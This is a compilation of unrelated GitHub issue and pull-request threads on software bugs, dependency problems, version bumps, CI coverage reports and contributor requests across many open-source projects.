go version go1.6.2 linux/386

Hello @peter-kehl, thank you for raising the issue and welcome to drive!
Yes in deed, this issue has been reported by a few other folks as well lately.
This issue https://github.com/odeke-em/drive/issues/853 asks us to update the Go version to 1.7.
Am going to update the README in a few here.

@peter-kehl please use Go1.7 and above, I've updated the README to reflect that as well.
Thank you for the report.


Adding a code snippet into a script editor does not trigger language check

Describe the issue
Regression - Adding a code snippet into a script editor does not trigger language check.
It still works as expected on notebooks.
After a quick investigation, looks like the widget class names are being mapped to something else during runtime, so this statement that checks for script editor is never true.
To Reproduce
Steps to reproduce the behavior:

Open a Python or R Editor
Open the code snippets tab
Click the insert button on the snippet item (Make sure to pick a code snippet of a language different from the open editor)
Notice the snippet is automatically added to the editor without displaying a warning dialog

Expected behavior
Language check should be triggered and display a warning when there is a language mismatch when inserting a code snippet into a script editor
Context information:

Elyra version: 3.0.0
Operating system: macos
Browser: Chrome

Closing as it was no longer reproducible. Works as expected in v3.2.0-dev.

Just as an FYI, I am still able to reproduce this issue using pip install as of 3.3.0 rc0. Dev environment works as expected


x/build/cmd/gerritbot: Gerrit edits are immediately overwritten by older GitHub commits

I tried to edit a commit message on Gerrit, but gopherbot fought me and reverted it:
https://go-review.googlesource.com/c/sys/+/107302
https://go-review.googlesource.com/c/sys/+/107302/2..3
I'd only expect it to be reverted if there was a new patchset on GitHub's side.
/cc @andybons

More fighting. https://go-review.googlesource.com/c/crypto/+/110796
I think the 80/20 way to fix this would be to implement Gerrit → GitHub for the commit message, and just send a warning in a comment when a new patchset is uploaded. We can see if that causes rollbacks.

That's fine with me. The issue is one of complexity. Synchronization of Gerrit/GitHub/Maintner is a non-trivial part of the tool. Something to watch out for.

@bradfitz's original report and my #28713, which was de-dup'ed into this issue, are NOT about what @andybons retitled this as.
GerritBot v0 could be one-way and still NOT overwrite Gerrit changes made after the latest GitHub PR was pushed to Gerrit. That should be trivial to do: before re-pushing something from GitHub to Gerrit, see if that exact commit has already been pushed as an earlier patch set. If so, don't push it again. Everything is still one-way from GitHub to Gerrit, but local Gerrit changes would no longer be immediately overwritten.
In addition to the example Brad gave from April and the example I gave from a few days ago, here's one I stumbled over from July: https://golang.org/cl/124775.
I retitled this to make clear that the issue here is NOT about two-way sync, just about one-way sync not being quite so insistent on overwriting new Gerrit commits with old GitHub commits.

I suspect I stumbled upon this issue in https://go-review.googlesource.com/c/go/+/164958 -- where I have no idea how to edit my commit message of my first code contribution to this project.  If this is how it behaves for every PR, I would suggest you turn off that integration until this is fixed.

Seems it is possible to edit the first comment in the PR ... Which isnt' obvious if you don't know it...

I agree people are getting confused by this but in the bot's defense, it commented on the PR with a link to info which you didn't read. :)

@bradfitz I read it, but this particular thing wasn't clear to. But to my defense, I'm from Norway, and English isn't my first language :-)

Ideally the bot would work intuitively and we thus wouldn't need any documentation. The behavior is more obvious when there's exactly 1 commit in a PR. It's less clear what to do when we have 2+ commits in a PR and how to form their commit message. I think just using the first might be good enough. Follow-up commit messages are probably just "fix things" or "address feedback from reviewer".

From https://github.com/golang/go/issues/35464#issue-520171770:

When I want to take over a CL in Gerrit, I can forge the author and work in peace.
If I want to take over a CL in Gerrit that originated from Gerritbot, I need to race and get my change +2'ed and submitted before Gerritbot wakes up and overwrites my work.

@bradfitz Since you haven't mentioned it, I wanted to point out that it's also possible to take over the Pull Request on GitHub, as long as the author hasn't disallowed that by unchecking the "Allow edits from maintainers" checkbox.

@dmitshur, I'd rather stay in Gerrit, ideally.

I've also been bit by this a number of times - I'll take a look at implementing @rsc's suggestion above.

This got me again in https://golang.org/cl/263277.

Another case: https://golang.org/cl/257817.

It seems from some very brief poking that gerritbot at one point might have had behavior that was closer to what Russ described as desirable in https://github.com/golang/go/issues/24887#issuecomment-438106946, but it was changed in https://go.dev/cl/96999:

cmd/gerritbot: use full commit message to determine staleness
Instead of checking only against the last revision of a GitHub PR,
check to see if the Gerrit commit message matches that of the one
determined by the PR, which is the source of truth due to
GerritBot’s one-way nature.

(Perhaps that's off base or not useful, but a thread to pull on if anyone looks at this issue in the future).


DTSPO-17912 - Add new routes

Jira link (if applicable)
https://tools.hmcts.net/jira/browse/DTSPO-17912
Change description
Add new routes to allow dynatrace to reach sbox and ptlsbox
Checklist

[x] commit messages are meaningful and follow good commit message guidelines
[x] README and other documentation has been updated / added (if needed)
[x] tests have been updated / new tests has been added (if needed)
[ ] Does this PR introduce a breaking change

Plan Result (prod_dynatrace_activegate)
Plan: 2 to add, 0 to change, 0 to destroy.

Create

azurerm_route.additional_routes_cft_aks_ptlsbox
azurerm_route.additional_routes_cft_aks_sbox

Change Result (Click me)

  # azurerm_route.additional_routes_cft_aks_ptlsbox will be created
  + resource "azurerm_route" "additional_routes_cft_aks_ptlsbox" {
      + address_prefix         = "<IP_ADDRESS>/21"
      + id                     = (known after apply)
      + name                   = "cft-aks-ptlsbox"
      + next_hop_in_ip_address = "<IP_ADDRESS>"
      + next_hop_type          = "VirtualAppliance"
      + resource_group_name    = "dynatrace-activegate-prod"
      + route_table_name       = "dynatrace-activegate-route-table-prod"
    }

  # azurerm_route.additional_routes_cft_aks_sbox will be created
  + resource "azurerm_route" "additional_routes_cft_aks_sbox" {
      + address_prefix         = "<IP_ADDRESS>/21"
      + id                     = (known after apply)
      + name                   = "cft-aks-sbox"
      + next_hop_in_ip_address = "<IP_ADDRESS>"
      + next_hop_type          = "VirtualAppliance"
      + resource_group_name    = "dynatrace-activegate-prod"
      + route_table_name       = "dynatrace-activegate-route-table-prod"
    }

Plan: 2 to add, 0 to change, 0 to destroy.


get.sh checks for incorrect repository name

The openjdk-tests repository has been renamed to aqa-tests, but get.sh still checks for the old name.
        # Check if TESTDIR exists and points to openjdk-tests
        if [[ ! -d "$TESTDIR" || "$TESTDIR" != *"openjdk-tests"* ]]; then
                echo "TESTDIR: $TESTDIR is invalid. Please use --testdir|-t to set valid TESTDIR under openjdk-tests. Default value current dir (pwd) is used if not provided."
                exit 1
        fi

This is getting fixed by https://github.com/adoptium/aqa-tests/pull/2612


PXP-583: [CLI] New Error Codes handling

Summary

Ticket: PXP-582 and PXP-583
What's Changed

Added

[x] Add DefaultErrorHandler for default API channel
[x] Add CanaryErrorHandler for canary API channel

Changed

[x] The error from wukong_sdk now mostly only error code (from APIError::ApplicationNotFound { application: "" } -> APIError::ApplicationNotFound)
The reason why we remove the context in the error value is because we now doing centralized error handling, which we don't know what is the context value in advance (application, name, pipeline and etc.).

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: jk-gan
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

PR needs rebase.

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: jk-gan, mfauzaan
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: jk-gan
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: jk-gan
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: jk-gan, mfauzaan
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


[chore]: bump developer guide java version

Description
Bumped Java version in developer guide since it was outdated
Check List

[x] New functionality includes testing.
[x] New functionality has been documented.
[x] API changes companion pull request created.
[x] Commits are signed per the DCO using --signoff.
[x] Public documentation issue/PR created.

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Can you also update the section title and description?

Missed that. Need some rest haha

Thank you. Since 2.x can still run on JDK 11 and 17, there is no need to backport this PR to 2.x.

We can merge this one, CI is failing for some unrelated reason. @vibrantvarun can you please review?

Pinging @zane-neo and @zhichao-aws for review


[Question] Does this work with mono magnet speakers?

Hello,
Sorry for the beginner question, I was able to get this library to wotk on my pico + PCM5102A board, but it only works with headphones.
I tried to hook it with a magnet speaker using a terminal like this: https://a.co/d/744VIPg but there was no sound output. For reference, my speaker is this: https://a.co/d/amTXBMY and it works if I output audio using PWM ports, but doesn't seem to work with I2S.
Also note I tried connecting both R and L channels (obe at a time) but neither worked.
I'd appreciate any pointers. Thanks!

Hi !
Unfortunately the PCM5102A IC does not have enough output power to drive speakers.  However, as you found, it has enough power to drive headphones.  To drive speakers you would need to add some sort of amplifier module between the output and the speakers.   To drive speakers I use the I2S 3W amplifier, MAX98357A.  Here is an example breakout board from Adafruit:  https://www.adafruit.com/product/3006

Hi @miketeachman , thanks so much for the reply! That is exactly what I ended up doing and it worked flawlessly, thanks again for your help! :)


Update teleport extension

Description

Screencast

Checklist

[x] I read the extension guidelines
[x] I read the documentation about publishing
[x] I ran npm run build and tested this distribution build in Raycast
[x] I checked that files in the assets folder are used by the extension itself
[x] I checked that assets used by the README are placed outside of the metadata folder

Hi @lamberttraccard 👋
It seems like you pushed the extension again, could you only push the changes 🙂

Hi @lamberttraccard 👋
It seems like you pushed the extension again, could you only push the changes 🙂

the weird thing is that i just did a npm run publish 🤔

@pernielsentikaer I resolved the conflicts and everything is good now :)

I'm only missing a CHANGELOG entry 🙂

@pernielsentikaer should be good now :)

@pernielsentikaer, I was wondering if you had a chance to take a look at the latest updates? 🙂


Basic Setup

Add a make file, a main.c to create models(structures and run) and remvoe the tree.sh file

Please assign

Please assign

yes you can

can i try this??

hello???

can I be assigned this?


Project handle misaligned on "Edit Payouts" modal

Summary
Steps to reproduce

Go to a project page as a project owner. The project must have a payout to another juicebox project
Click "Edit payouts".
Observe.

What is the current bug behavior?

What is the expected correct behavior?

can I grab this Issue ?

@sticklo yes, of course!

will do. thank you!


Local NVD Mirror Usage

Hi,
is the (maven) plugin set to use local NVD mirror just by specifying <cveUrlModified> to the url of nvdcve-1.1-modified.json.gz and <cveUrlBase> to the url of the mirror + nvdcve-1.1.-%d.json.gz? Each time the analysis is started using mvn dependency-check:check  with the plugin set up in the build part of pom.xml with <failBuildOnCVSS> set to 0 only one GET /nvdcve-1.1-modified.meta request is registered in the mirror server logs.

If the local database has been updated within the last 7 days - when you run ODC it will only download the modified version However, if you run it without an existing database it will download all of them.  If you have an existing database and execute an update beyond the 7 day window - it will download some/most of the files.

Thank you!

If the local database has been updated within the last 7 days - when you run ODC it will only download the modified version However, if you run it without an existing database it will download all of them. If you have an existing database and execute an update beyond the 7 day window - it will download some/most of the files.

Thank you!


Add missing attibutes to createWriteStream

we test this fix on our local environment and it works!

I can't merge for now this PR :
The base branch requires all commits to be signed. Learn more about signing commits.
Thx


bumped har-validator package

PR Checklist:

[ ] I have run npm test locally and all tests are passing. => no because tests bread without changes locally
[ ] I have added/updated tests for any new behavior.

[ ] If this is a significant change, an issue has already been created where the problem / solution was discussed: [N/A, or add link to issue here]

PR Description
Bumped version of har-validator package

Can this be merged?

This fixes https://github.com/request/request/issues/3330. Please merge and release!

@mikeal any chance this dependency bump can be merged in?

@lennartwesdijk @carloserocha who can merge this PR?

@mikeal are you able to take a look at this? Thanks!

When will the new version of request will be available with this fix?

When will the new version of request will be available with this fix?

Request is deprecated.


Fief sync food stock

PR Checklist

Please check if your PR fulfills the following requirements:

[x ] All new classes have class-level documentation comments, if there are any at all
[x ] Tests for the changes have been added (for bug fixes / features)

PR Type
What kind of change does this PR introduce?

[ ] Bug fix (non-breaking change which fixes an issue)
[x ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes
[ ] CI related changes
[ ] Documentation update
[ ] Other... Please describe:

What is the current behaviour?

The food stock is not synch between server and client, and the fief module sync does not exist
What is the new behaviour?

Resolves #740

The food stock of town is now sync between the server and the client.
To test that, I've created a command "coop.debug.town.set_foodStocks"
Also I've created a Coop Integration test to check if the data between server and client are coherent
Other information

Resolved the issues you told me @WakooMan , thanks for your time and feed back!
About the indentation, I checked on my own, and it does not seem wrong, if you test on yours don't hesitate to tell me


Remove the Tile component (#369)

After we began focusing the docs UX more on text (#93), we no longer use the Tile component in the docs. Docs menu pages now include more context and freeform text than the Tile component was intended to support. This change removes the Tile component to simplify the codebase.
This commit reverses part of the reversion in
cb79431a89748a24ce4df255864a3d2f14e013fe

I still need to fix the type errors from the original PR—this draft PR is so I don't forget to unrevert the commits from earlier this week.


Pull Python image from AWS public ECR

Superseded by https://github.com/viamrobotics/viam-python-sdk/pull/532


Move pex.cli.commands.lockfile to pex.resolve.

N.B.: The 1st commit cb66ef6 is being reviewed in #1619.


Missing jinja2 and dask[diagnostics] packages when running lsdb.read_hipscat()

I am running a notebook in which I'm using lsdb 0.1 (installed with pip into a Python 3.11.7 conda environment). Upon using lsdb.read_hipscat() I get an error ModuleNotFoundError: No module named 'jinja2'.
Then the traceback later says
The above exception was the direct cause of the following exception:

followed by
ImportError: Dask diagnostics requirements are not installed.

Please either conda or pip install as follows:

  conda install dask                     # either conda install
  python -m pip install "dask[diagnostics]" --upgrade  # or python -m pip install

Shouldn't a pip install lsdb have installed these for me?

Later in my notebook I got another error:
ImportError: dask.distributed is not installed.

Please either conda or pip install distributed:

  conda install dask distributed             # either conda install
  python -m pip install "dask[distributed]" --upgrade    # or pip install

Same question, shouldn't this have been installed automatically?

@hombit has tried to re-create this issue unsuccessfully. Can you please attach the notebook you're working with that causes this issue?

I've attached the executed notebook (it's in MyST Markdown format so needs jupytext) and the requirements.txt file as it now stands, with the extra items added in.
Initially I created a conda environment with python=3.11 as detailed in the "Environment Setup" section of the notebook.
requirements.txt
CosmoDC2_HiPSCat.md

The catalog accessed by the notebook was generated using hipscat-import v0.1. In a few weeks, @troyraen will regenerate it with hipscat-import v0.2 and then we plan to put it in the cloud.

Dask Name: read_parquet_file_to_pandas, 1 graph layer

    def test_catalog_html_repr_equals_ddf_html_repr(small_sky_order1_catalog):
>       assert small_sky_order1_catalog._repr_html_() == small_sky_order1_catalog._ddf._repr_html_()

tests/lsdb/catalog/test_catalog.py:23:

That import seems to be coming from dask.widgets, which makes me think it's a dask dependency bug (they forgot to require jinja2)?

@stargaser, I am having a closer look at this issue to try to figure out its cause but I am having trouble reproducing it from a fresh Python 3.11.7 environment.
I tried read_hipscat both from a Python console and a Jupyter notebook (using a kernel on this environment) and loading catalogs was successful. Note that most dependencies on requirements.txt were already sub-dependencies of LSDB and hipscat and therefore I didn't specify them explicitly.
If you have some time, could you please create a new environment using the code snippet below? I apologize if you already attempted this but I just want to make sure your environment is unintentionally corrupted.
conda create -n lsdb_env python=3.11.7
conda activate lsdb_env
python3 -m pip install lsdb ray ipywidgets
python3 -m ipykernel install --user --name lsdb_env --display-name "lsdb_env"

This should install a slightly newer version of LSDB (v0.1.1), which adjusts some of the Dask optional dependencies required. Hopefully, it will resolve your issue. If any of the previous error messages persist, one last thing I'd like you to try is installing the complete Dask version, which includes all dependencies for all collections:
python3 -m pip install "dask[complete]"

This command should install Jinja2, as well as bokeh (required for spinning up the diagnostics dashboard), which you might be requiring for your workflow.

Thanks @camposandro , I tried the steps with an extra pip install ipykernel needed to make the last step work:
conda create -n lsdb_env python=3.11.7
conda activate lsdb_env
python3 -m pip install lsdb ray ipywidgets
python3 -m ipykernel install --user --name lsdb_env --display-name "lsdb_env"

My notebook is running without error.
Maybe that means this issue can be closed?

We appreciate your feedback, @stargaser, glad it worked out! I am adding the dependency on dask[diagnostics] to ease the process of spinning up the Dask dashboard (for profiling) and it will automatically close this issue.


focal tag on docker hub

Really great project.  Thanks for updating master to 20.04!
Would it be possible to have a (non-alpha) focal tag on dockerhub.  I'd like to build against 20.04 but don't want to risk using a migrating master tag.

I think this is a duplication of #573 .

@yakutovicha is correct.


Jost font displays incorrectly on macOS

The font included with this theme contains an uppercase "A" character that does not display correctly on all operating systems and browsers.
Here's how it looks on my system:

The issue is described in this ticket:
https://github.com/google/fonts/issues/2602
Replacing @import "common/fonts"; with either of the following causes it to render correctly:
@import url('https://fonts.googleapis.com/css2?family=Jost:ital,wght@0,400;0,500;0,700;1,400;1,500;1,700&display=swap');
@import url("https://indestructibletype-fonthosting.github.io/jost.css");

(For the second URL, I also had to change the font name in _variables.scss to "Jost*".)
After making that change, the font displays correctly:

I got the googleapis.com import directive from #8.

How did you obtain or generate the font files included with this theme?
To fix the issue but avoid leaking my visitors' IP addresses to either googleapis.com or github.io, I copied the CSS from indestructible-type and downloaded all the WOFF/WOFF2 files that the CSS references. The downloaded files are noticeably different from the ones you included in the theme:

The theme has 1/3 the number of font files:$ ls -1 themes/adidoks/static/fonts/vendor/jost/ | wc -l
      12
$ ls -1 static/fonts/vendor/jost/ | wc -l
      36

The theme's font files have v4 in their names but the upstream repo, indestructible-type/Jost, is only on version 3.7.
The theme's font files are much smaller:$ du -hs themes/adidoks/static/fonts/vendor/jost/ static/fonts/vendor/jost/
164K	themes/adidoks/static/fonts/vendor/jost/
1.2M	static/fonts/vendor/jost/


bugfix: 修复存在未完成任务时，已失败的任务会重复刷错误日志的问题 (closed #520)

Codecov Report

Merging #535 (b0e4009) into V2.2.2-rc (5f210bf) will decrease coverage by 0.00%.
The diff coverage is 100.00%.

@@              Coverage Diff              @@
##           V2.2.2-rc     #535      +/-   ##
=============================================
- Coverage      70.01%   70.00%   -0.01%
=============================================
  Files            288      288
  Lines          20852    20853       +1
=============================================
  Hits           14599    14599
- Misses          6253     6254       +1

Impacted Files
Coverage Δ

apps/backend/components/collections/base.py
92.73% <100.00%> (+0.04%)
:arrow_up:

...nents/collections/agent_new/choose_access_point.py
96.96% <0.00%> (-0.51%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5f210bf...b0e4009. Read the comment docs.


Add AnsiResponseParser classes

This adds just the classes for AnsiResponseParser<T>

Ok @BDisp I think this is about as far as I can take it without your help.  I've added my classes and the simplified loop for NetMainLoop 6457bd1.  This works.
I tried to add my changes to Net events in 79e52d4 but when I send an ansi request it hangs up (also Esc alone does not get handled).
Can you please look at what I did in 79e52d4 and try to implement similar pattern.  I've not added the scheduler/parser tests but if you like I can add them to this PR.
=============
Regarding what you must implement
The AnsiResponseParser<ConsoleKeyInfo> replaces most of the existing code in NetEvents.  It filters the incoming keys and extracts and raises events.  It needs the main iteration of the input processing to periodically call Release depending on parser state (again see my diff).
Let me know if you have questions.

Frankly, I think it's too exaggerated to send too many requests at once. I think it's preferable to send whenever the user needs it. It's one thing to send escape sequences to modify colors when writing that you're just sending to the output and not waiting for a response back, in which case we can send those escape sequences at will. Now in requests, the user submits the requests and expects it back as soon as possible. So it looks like a denial of service (DOS) attack.

I agree it is overkill scenario, I wrote it that way deliberately to stress test the solution.
We want our approach to be as maintainable and robust as possible.

That's great.  Knowing the limits is what it's all about!
And handling common cases, this is why I added throttling to ansi scheduler.


Support Ubuntu 16.04 LTS Xenial

I've built a minimal base box: https://atlas.hashicorp.com/geerlingguy/boxes/ubuntu1604/
And most roles should Just Work, especially since all of them are also compatible with CentOS 7, which uses systemd (the largest change between Ubuntu < 15.10 and now). But I may need to fix a few roles so they're compatible with Xenial. And add xenial to the list of supported Ubuntu versions as needed.

First failure, from geerlingguy.mysql:
TASK [geerlingguy.mysql : Ensure MySQL is started and enabled on boot.] ********
fatal: [drupalvm]: FAILED! => {"changed": false, "failed": true, "msg": "Job for mysql.service failed because the control process exited with error code. See \"systemctl status mysql.service\" and \"journalctl -xe\" for details.\n"}

Will you drop support for 12.04 or are you waiting for end of life next year?

Currently waiting for EOL. Unfortunately, there are some hosting companies (cough—Acquia—cough) who are still just finished transitioning from 10.04 to 12.04. So even 14.04 would be considered bleeding edge :)

MySQL bug should be squashed after https://github.com/geerlingguy/ansible-role-mysql/pull/108 passes tests.
Next up, Varnish:
The repository 'http://repo.varnish-cache.org/ubuntu xenial Release' does not have a Release file.

Might just have to mark Varnish as being unsupported until the upstream repo adds a release channel for Xenial. Will skip it and see what else fails.

For Varnish: https://github.com/varnishcache/pkg-varnish-cache/issues/23

Upstream MySQL issue was fixed and changes are in 2.1.0 version of that role.

Without vagrant, everything completes successfully with the default example.config.yml settings. Of course, PHP is 7.x no matter what—I don't think I want to try supporting older versions on 16.04.

Also, memcached won't currently work (at least the PHP extension) since php5-memcached doesn't work with 7, and php7-memcached doesn't yet exist.

Node.js was failing on the forever installation, so I think I'm just going to ditch that default in the Node.js role entirely. See: https://github.com/geerlingguy/ansible-role-nodejs/issues/26

If installing Redis, you need to also override the PHP Redis package name, setting it to: php_redis_package: php-redis.

Selenium install fails with:
selenium.service is not a native service, redirecting to systemd-sysv-install
Executing /lib/systemd/systemd-sysv-install enable selenium
insserv: warning: script 'selenium' missing LSB tags and overrides
update-rc.d: error: selenium Default-Start contains no runlevels, aborting.

It looks like everything else works! Working on docs now.

@oxyc see, in particular: https://github.com/geerlingguy/drupal-vm/issues/376

XHProf is also not working, at least with the way that role is currently configured, due to PHP 7 being the default.


⚠ Bofrost.es has degraded performance

In 0ce65a7, Bofrost.es (https://www.bofrost.es) experienced degraded performance:

HTTP code: 200
Response time: 1592 ms

Resolved: Bofrost.es performance has improved in 6521df8 after 13 minutes.


Want to complete Algorithm Design Techniques

Hey @UjjwalSharma01
I will add important algorithms in java.
Please assign me this issue.

Hey @UjjwalSharma01
I will add important algorithms in java.
Please assign me this issue.

You are already aware of instructions to add concepts
Go ahead lemme know if any confusion is there

Thank you


Missing build customization properties

Another way to customize the build of C# and Visual Basic projects is through the MSBuild properties:

CustomBeforeMicrosoftCommonProps
CustomBeforeMicrosoftCommonTargets
CustomAfterMicrosoftCommonProps
CustomAfterMicrosoftCommonTargets
CustomBeforeMicrosoftCSharpProps
CustomBeforeMicrosoftVisualBasicProps
CustomAfterMicrosoftCSharpProps
CustomAfterMicrosoftVisualBasicProps
CustomBeforeMicrosoftCSharpTargets
CustomBeforeMicrosoftVisualBasicTargets
CustomAfterMicrosoftCSharpTargets
CustomAfterMicrosoftVisualBasicTargets

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: d410ebeb-3841-a0a9-efb4-185823add4dc
Version Independent ID: 7e397179-4ccc-054c-8137-5e8f2430d794
Content: Customize your build - Visual Studio
Content Source: docs/msbuild/customize-your-build.md
Product: visual-studio-windows
Technology: msbuild
GitHub Login: @Mikejo5000
Microsoft Alias: mikejo

For a discussion of these properties, including equivalent techniques for C++ projects, see
https://stackoverflow.com/questions/3924404/msbuild-custom-after-microsoft-common-targets-for-native-c-projects-in-vs2010

Examples of using this functionality:
dotnet.geir-sorensen.net/2010/04/msbuild-custom-targets.html

Adding a new section: Customize all builds, and Customize C++ builds.
The new section covers how to use Custom.Before/After.Microsoft.Common.Targets files and those variables to customize all builds on an installation of MSBuild or VS.  For C++, equivalent or similar techniques are described as discussed in the StackOverflow answer by Sayed Hashimi.


Not working help

so ive download files and it just says

and is my folder meant to look like this if you could help that would be great

Hello @Stonks476 , I believe you downloaded the source code rather than the executable. Simply go to this link and click Destiny.2.Solo-Enabler.exe. This should download the executable and you should be able to start queuing solo!

As @BLTplayz said, you downloaded the incorrect files.
TL;DR: Follow the link BLT provided, and download the latest .exe. There's also a video guide on the subject. https://www.youtube.com/watch?v=yunmINhf6c4
Now, to explain what you did download. You got the source code of the program.
The program is open-source, meaning it's freely available for everyone, completely for free, with the possibility of going through the entire code-base to see what the program is doing.
One would download the source code if they wanted to view it in their own IDE (basically, fancy text editor for programming stuff), or if they wanted to try and make changes to it. They could also download the source-code and compile the program themself. Some people do this, because they want to be sure that the exe released matched the code published.
Hope this cleared it up.

cheers thanks for the help!


test: add test code

Codecov Report

Merging #113 (5d04ffe) into master (abada66) will increase coverage by 1.81%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #113      +/-   ##
==========================================
+ Coverage   80.79%   82.60%   +1.81%
==========================================
  Files          12       12
  Lines         276      276
==========================================
+ Hits          223      228       +5
+ Misses         53       48       -5

Impacted Files
Coverage Δ

lib/hatenablog_publisher/options.rb
95.23% <ø> (+23.80%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Add Rainbow variants of themes, and add Office Theme (.thmx) files

This PR creates additional variants of each theme which use Red, Peach, Yellow, Green, Sky and Mauve as the accent colors to allow for more colorful documents.
Additionally, for each of the (now) eight variants, provide an Office Theme (.thmx) file which can be selected in the Design menu (with correct fonts and colors), as well as instructions for how to install these on Windows. (I don't have access to Office Mac to figure out which folder these should go in on Mac).
Changes to existing templates are just to make sure fonts and colors are properly set in the Slide Master (previously, some of these properties were not universally being applied to the template)

I also have XML files for the Theme Colors of the Rainbow variants--these can be used in other Office programs. Once I make default versions of them, I will make a separate PR for them.

@kkrypt0nn any interest in merging this?


removed some cruft

Codecov Report

Merging #155 into master will increase coverage by 0.24%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #155      +/-   ##
==========================================
+ Coverage   61.18%   61.42%   +0.24%
==========================================
  Files          36       36
  Lines        1203     1203
  Branches        8        8
==========================================
+ Hits          736      739       +3
+ Misses        467      464       -3

Impacted Files
Coverage Δ

core/src/main/scala/laserdisc/protocol/KeyP.scala
92.68% <0%> (+3.65%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b6f14de...ba30fc6. Read the comment docs.


removed reference to non-existent step

https://github.com/MicrosoftDocs/windows-itpro-docs/issues/10023

Dear @JohanFreelancer9,
kindly do the copy editor review for this PR.
Dear @e0i, for your information
Thank you


Gimbal doesn't remove OpenStack endpoint from service with health check setting

What steps did you take and what happened:

I configured route consist of 1 OpenStack service (has 2 endpoints) with health check to ingressroute.yaml file and deployed it.
I started continuous requesting to the defined route, and I get response from 2 endpoints correctly.
I deleted 1 OpenStack VM from LBaaS by neutron lbaas-member-delete command.
But I still get response from 2 endpoints.

What did you expect to happen:
I expect to get response from 1 (remained) endpoint.
Environment:

Backend Cluster versions (OpenStack and/or Kubernetes):
OpenStack. In terms of Kubernetes, I haven't checked.
Gimbal version (Gimbal git repository tag):
https://github.com/heptio/gimbal/tree/release-0.3.0-beta.2
Contour version:
gcr.io/heptio-images/contour:v0.6.0-beta.2
openstack-discoverer version (if applicable):
gcr.io/heptio-images/gimbal-discoverer:v0.3.0-beta.2

Thank you @yutaokaz. Do you recall what reconciliation period was configured in the OpenStack discoverer? Did the OpenStack discoverer run a reconciliation after you deleted the LBaaS member?
My initial thinking around this issue is that the Endpoints object in the Gimbal cluster still had the IP addresses of the OpenStack VMs. Given that you did not destroy the VMs, but instead removed them from the load balancer, the VMs are still reachable for traffic.
We should expect the removed endpoint to stop responding if either a) the OpenStack discoverer reconciles the OpenStack state with the gimbal state, or b) the VM itself is destroyed, triggering the health check to fail.

Hi @alexbrand, thank you for your reply.
Yes, I checked reconciliation updates, kubectl get endpoints and contour cli eds command returns only remained 1 endpoint. In addition, no health check setting for the service, this issue isn't occurred.
I also found regenerate (delete and create) ingressroute or apply commented out health check lines could stop requesting to the removed VM.
Didn't you reproduce this issue?

Thanks for the additional information @yutaokaz. I will try to reproduce this on our side.

@yutaokaz This seems to be an issue with Envoy, so I have opened https://github.com/heptio/contour/issues/603.

Contour will fix this in 0.7.0, moving to Gimbal 0.4.0 milestone.

Punted to Contour 0.9


communication history + adding notes

This PR fixes #477
Changes

Tests

[ ] Tested on mobile
[ ] Tested on dektop

This PR should be manually tested by @hugomarquesdev @obernardovieira @PauloSousapt , included on reviewers.

👏  looks great :)


Unable to  partnerapi

Hello,
I tried to get the project sources from github, and build it on android studio, but the partnerapi folder is empty.
when trying to build the project in Android Studio, i get
`Could not determine the dependencies of task ':app:compileLoafDebugJavaWithJavac'.
Could not resolve all task dependencies for configuration ':app:loafDebugCompileClasspath'.
Could not resolve project :partnerapi.
Required by:
project :app
> No matching configuration of project :partnerapi was found. The consumer was configured to find an API of a component, as well as attribute 'com.android.build.api.attributes.BuildTypeAttr' with value 'debug', attribute 'mode' with value 'loaf', attribute 'org.jetbrains.kotlin.platform.type' with value 'androidJvm' but:
- None of the consumable configurations have attributes.`

Please give me solution?

I have the same problem
$ git submodule update
Cloning into 'C:/Users/.../Desktop/loafwallet/loafwallet-android/partnerapi'...
remote: Repository not found.
fatal: repository 'https://github.com/litecoin-foundation/LitewalletPartnerAPI-android.git/' not found
fatal: clone of 'https://github.com/litecoin-foundation/LitewalletPartnerAPI-android.git' into submodule path 'C:/Users/ljh99/Desktop/loafwallet/loafwallet-android/partnerapi' failed
Failed to clone 'partnerapi'

Did you solve this problem?


[TEST]Remove tikv-client

what did I do?

I hold the upstream pdclient instance in the PDClient's constructor
In order to hold the upstream pdclient instance, I do some conversions between TiConfiguration and ChannelFactory.
I replaced the getTimestampe method implemented by PDClient with upstream pdclient. But I can't solve the compatibility problem of BackOffer. I simply found that the existing implementation logic of getTimestampe according to the call stack does not require the BackOffer parameter, but a ConcreteBackOffer.newCopNextMaxBackOff() in com/pingcap/tikv/policy/RetryPolicy. in java.

/hold

